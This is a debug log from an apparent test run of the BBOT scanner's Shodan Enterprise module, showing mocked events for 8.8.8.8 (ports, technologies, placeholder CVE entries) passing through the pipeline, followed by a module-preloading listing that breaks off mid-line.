'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'verified', 'cloud', 'public-dns'}) passed post-check +2026-03-02 09:02:04,429 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'verified', 'cloud', 'public-dns'}) +2026-03-02 09:02:04,429 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) +2026-03-02 09:02:04,430 [DEBUG] bbot.modules.dnsresolve base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'in-scope', 'low'}) passed post-check +2026-03-02 09:02:04,430 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'in-scope', 'low'}) +2026-03-02 09:02:04,430 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'in-scope', 'dns'}) +2026-03-02 09:02:04,431 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'in-scope', 'dns'}) because precheck succeeded +2026-03-02 09:02:04,431 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) passed post-check +2026-03-02 09:02:04,431 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) +2026-03-02 09:02:04,431 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'verified', 'cloud', 'public-dns'}) +2026-03-02 09:02:04,432 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) passed post-check +2026-03-02 09:02:04,432 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) +2026-03-02 09:02:04,432 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'in-scope', 'low'}) +2026-03-02 09:02:04,432 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'verified', 'cloud', 'public-dns'}) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) +2026-03-02 09:02:04,433 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'verified', 'cloud', 'public-dns'}) +2026-03-02 09:02:04,433 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) in-scope because its main host matches the scan target +2026-03-02 09:02:04,433 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) +2026-03-02 09:02:04,433 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) because precheck succeeded +2026-03-02 09:02:04,434 [DEBUG] bbot.modules._scan_egress base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'in-scope', 'low'}) passed post-check +2026-03-02 09:02:04,434 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'in-scope', 'low'}) +2026-03-02 09:02:04,434 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) +2026-03-02 09:02:04,434 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) passed post-check +2026-03-02 09:02:04,435 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) +2026-03-02 09:02:04,435 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) passed post-check +2026-03-02 09:02:04,435 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) +2026-03-02 09:02:04,436 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'in-scope', 'low'}) +2026-03-02 09:02:04,436 [DEBUG] bbot.modules.output.python base.py:1563 Queueing VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'in-scope', 'low'}) because precheck succeeded +2026-03-02 09:02:04,436 [DEBUG] bbot.modules._scan_egress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'verified', 'cloud', 'public-dns'}) passed post-check +2026-03-02 09:02:04,436 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'verified', 'cloud', 'public-dns'}) +2026-03-02 09:02:04,436 [DEBUG] bbot.modules._scan_ingress base.py:1563 Not forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) because event was already emitted by its module +2026-03-02 09:02:04,437 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-servers', 'in-scope', 'web-technology'}) passed post-check +2026-03-02 09:02:04,437 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-servers', 'in-scope', 'web-technology'}) +2026-03-02 09:02:04,437 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) +2026-03-02 09:02:04,438 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-servers', 'in-scope', 'web-technology'}) in-scope because its main host matches the scan target +2026-03-02 09:02:04,438 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'verified', 'cloud', 'public-dns'}) +2026-03-02 09:02:04,438 [DEBUG] bbot.modules.output.python base.py:1563 Queueing ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'verified', 'cloud', 'public-dns'}) because precheck succeeded +2026-03-02 09:02:04,439 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) passed post-check +2026-03-02 09:02:04,439 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) +2026-03-02 09:02:04,439 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-servers', 'in-scope', 'web-technology'}) +2026-03-02 09:02:04,439 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-servers', 'in-scope', 'web-technology'}) passed post-check +2026-03-02 09:02:04,440 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-servers', 'in-scope', 'web-technology'}) +2026-03-02 09:02:04,440 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) +2026-03-02 09:02:04,440 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) because precheck succeeded +2026-03-02 09:02:04,440 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-servers', 'in-scope', 'web-technology'}) +2026-03-02 09:02:04,441 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-servers', 'in-scope', 'web-technology'}) passed post-check +2026-03-02 09:02:04,441 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-servers', 'in-scope', 'web-technology'}) +2026-03-02 09:02:04,441 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-servers', 'in-scope', 'web-technology'}) +2026-03-02 09:02:04,441 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-servers', 'in-scope', 'web-technology'}) because precheck succeeded +2026-03-02 09:02:04,505 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'in-scope', 'web-technology'}) from shodan_enterprise +2026-03-02 09:02:04,506 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'in-scope', 'web-technology'}) passed post-check +2026-03-02 09:02:04,506 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns'}) from shodan_enterprise +2026-03-02 09:02:04,507 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns'}) passed post-check +2026-03-02 09:02:04,507 [DEBUG] bbot.modules.output.python base.py:1563 Got VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) from shodan_enterprise +2026-03-02 09:02:04,507 [DEBUG] bbot.modules.output.python base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) passed post-check +2026-03-02 09:02:04,508 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) from shodan_enterprise +2026-03-02 09:02:04,508 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) passed post-check +2026-03-02 09:02:04,508 [DEBUG] bbot.modules.output.python base.py:1563 Got VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'in-scope', 'critical'}) from shodan_enterprise +2026-03-02 09:02:04,509 [DEBUG] bbot.modules.output.python base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'in-scope', 'critical'}) passed post-check +2026-03-02 09:02:04,509 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'in-scope', 'dns'}) from shodan_enterprise +2026-03-02 09:02:04,509 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'in-scope', 'dns'}) passed post-check +2026-03-02 09:02:04,510 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) from shodan_enterprise +2026-03-02 09:02:04,510 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) passed post-check +2026-03-02 09:02:04,510 [DEBUG] bbot.modules.output.python base.py:1563 Got VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'in-scope', 'low'}) from shodan_enterprise +2026-03-02 09:02:04,510 [DEBUG] bbot.modules.output.python base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'in-scope', 'low'}) passed post-check +2026-03-02 09:02:04,511 [DEBUG] bbot.modules.output.python base.py:1563 Got ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'verified', 'cloud', 'public-dns'}) from shodan_enterprise +2026-03-02 09:02:04,511 [DEBUG] bbot.modules.output.python base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'verified', 'cloud', 'public-dns'}) passed post-check +2026-03-02 09:02:04,511 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) from shodan_enterprise +2026-03-02 09:02:04,512 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) passed post-check +2026-03-02 09:02:04,512 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-servers', 'in-scope', 'web-technology'}) from shodan_enterprise +2026-03-02 09:02:04,512 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-servers', 'in-scope', 'web-technology'}) passed post-check +2026-03-02 09:02:04,512 [INFO] bbot.scanner scanner.py:790 Finishing scan +2026-03-02 09:02:04,513 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) because its type is FINISHED +2026-03-02 09:02:04,513 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED +2026-03-02 09:02:04,513 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED +2026-03-02 09:02:04,513 [VERBOSE] bbot.scanner logger.py:151 Completed finish() +2026-03-02 09:02:04,514 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING +2026-03-02 09:02:04,514 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) from None +2026-03-02 09:02:04,514 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None +2026-03-02 09:02:04,614 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None +2026-03-02 09:02:04,615 [VERBOSE] bbot.scanner logger.py:151 Completed final finish() +2026-03-02 09:02:04,623 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks +2026-03-02 09:02:04,624 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks +2026-03-02 09:02:04,624 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks +2026-03-02 09:02:04,631 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks +2026-03-02 09:02:04,631 [VERBOSE] bbot.core.dnshelper logger.py:151 EngineClient DNSHelper: shutting down... +2026-03-02 09:02:04,632 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP +2026-03-02 09:02:04,632 [VERBOSE] bbot.core.dnsengine logger.py:151 EngineServer DNSEngine got shutdown signal +2026-03-02 09:02:04,633 [VERBOSE] bbot.core.dnsengine logger.py:151 EngineServer DNSEngine: shutting down... +2026-03-02 09:02:04,633 [VERBOSE] bbot.core.dnsengine logger.py:151 EngineServer DNSEngine: finished shutting down +2026-03-02 09:02:04,703 [HUGESUCCESS] bbot.scanner logger.py:151 Scan testshodan_enterprise_test_oygimtz0xw completed in 0 seconds with status FINISHED +2026-03-02 09:02:04,703 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test +2026-03-02 09:02:04,704 [DEBUG] asyncio selector_events.py:64 Using selector: KqueueSelector +2026-03-02 09:02:04,705 [CRITICAL] bbot test_module_shodan_enterprise.py:70 Found 1 ASN events +2026-03-02 09:02:04,705 [CRITICAL] bbot test_module_shodan_enterprise.py:81 TCP ports: ['8.8.8.8:53'], UDP ports: ['8.8.8.8:53'] +2026-03-02 09:02:04,706 [HUGEWARNING] bbot logger.py:151 Vulnerabilities observed: {'CVE-2021-12345': 'HIGH', 'CVE-2022-11111': 'CRITICAL', 'CVE-2020-00001': 'LOW'} +2026-03-02 09:02:04,706 [INFO] bbot.test.shodan_enterprise base.py:125 Finished shodan_enterprise module test +2026-03-02 09:02:04,706 [INFO] bbot.test.shodan_enterprise base.py:131 No unfinished tasks detected +2026-03-02 09:03:07,708 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/internal +2026-03-02 09:03:07,716 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache +2026-03-02 09:03:07,716 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache +2026-03-02 09:03:07,717 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache +2026-03-02 09:03:07,717 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache +2026-03-02 09:03:07,718 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache +2026-03-02 09:03:07,718 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache +2026-03-02 09:03:07,718 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/templates +2026-03-02 09:03:07,719 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz +2026-03-02 09:03:07,719 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache +2026-03-02 09:03:07,720 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules +2026-03-02 09:03:07,721 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache +2026-03-02 09:03:07,721 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache +2026-03-02 09:03:07,722 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache +2026-03-02 09:03:07,722 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache +2026-03-02 09:03:07,723 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache +2026-03-02 09:03:07,723 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache +2026-03-02 09:03:07,724 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache +2026-03-02 09:03:07,724 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache +2026-03-02 09:03:07,724 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache +2026-03-02 09:03:07,725 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache +2026-03-02 09:03:07,725 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache +2026-03-02 09:03:07,727 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache +2026-03-02 09:03:07,728 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache +2026-03-02 09:03:07,728 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache +2026-03-02 09:03:07,729 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache +2026-03-02 09:03:07,729 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache +2026-03-02 09:03:07,730 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache +2026-03-02 09:03:07,730 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache +2026-03-02 09:03:07,730 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache +2026-03-02 09:03:07,731 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache +2026-03-02 09:03:07,731 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache +2026-03-02 09:03:07,732 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache +2026-03-02 09:03:07,732 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache +2026-03-02 09:03:07,732 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache +2026-03-02 09:03:07,733 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache +2026-03-02 09:03:07,733 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache +2026-03-02 09:03:07,734 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache +2026-03-02 09:03:07,734 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache +2026-03-02 09:03:07,735 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache +2026-03-02 09:03:07,735 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache +2026-03-02 09:03:07,736 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache +2026-03-02 09:03:07,736 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache +2026-03-02 09:03:07,736 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache +2026-03-02 09:03:07,737 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache +2026-03-02 09:03:07,737 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache +2026-03-02 09:03:07,738 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache +2026-03-02 09:03:07,738 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache +2026-03-02 09:03:07,741 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache +2026-03-02 09:03:07,742 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache +2026-03-02 09:03:07,743 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache +2026-03-02 09:03:07,743 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache +2026-03-02 09:03:07,744 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache +2026-03-02 09:03:07,744 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache +2026-03-02 09:03:07,745 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache +2026-03-02 09:03:07,745 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache +2026-03-02 09:03:07,745 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache +2026-03-02 09:03:07,746 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache +2026-03-02 09:03:07,746 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache +2026-03-02 09:03:07,747 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache +2026-03-02 09:03:07,747 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache +2026-03-02 09:03:07,748 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache +2026-03-02 09:03:07,748 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache +2026-03-02 09:03:07,749 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache +2026-03-02 09:03:07,749 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache +2026-03-02 09:03:07,749 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache +2026-03-02 09:03:07,750 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache +2026-03-02 09:03:07,750 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache +2026-03-02 09:03:07,751 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache +2026-03-02 09:03:07,751 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache +2026-03-02 09:03:07,752 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache +2026-03-02 09:03:07,752 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache +2026-03-02 09:03:07,753 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache +2026-03-02 09:03:07,753 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache +2026-03-02 09:03:07,753 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache +2026-03-02 09:03:07,754 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache +2026-03-02 09:03:07,755 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache +2026-03-02 09:03:07,755 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache +2026-03-02 09:03:07,756 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache +2026-03-02 09:03:07,756 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache +2026-03-02 09:03:07,756 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache +2026-03-02 09:03:07,757 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache +2026-03-02 09:03:07,757 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache +2026-03-02 09:03:07,757 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache +2026-03-02 09:03:07,758 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache +2026-03-02 09:03:07,758 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache +2026-03-02 09:03:07,759 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache +2026-03-02 09:03:07,759 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache +2026-03-02 09:03:07,759 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache +2026-03-02 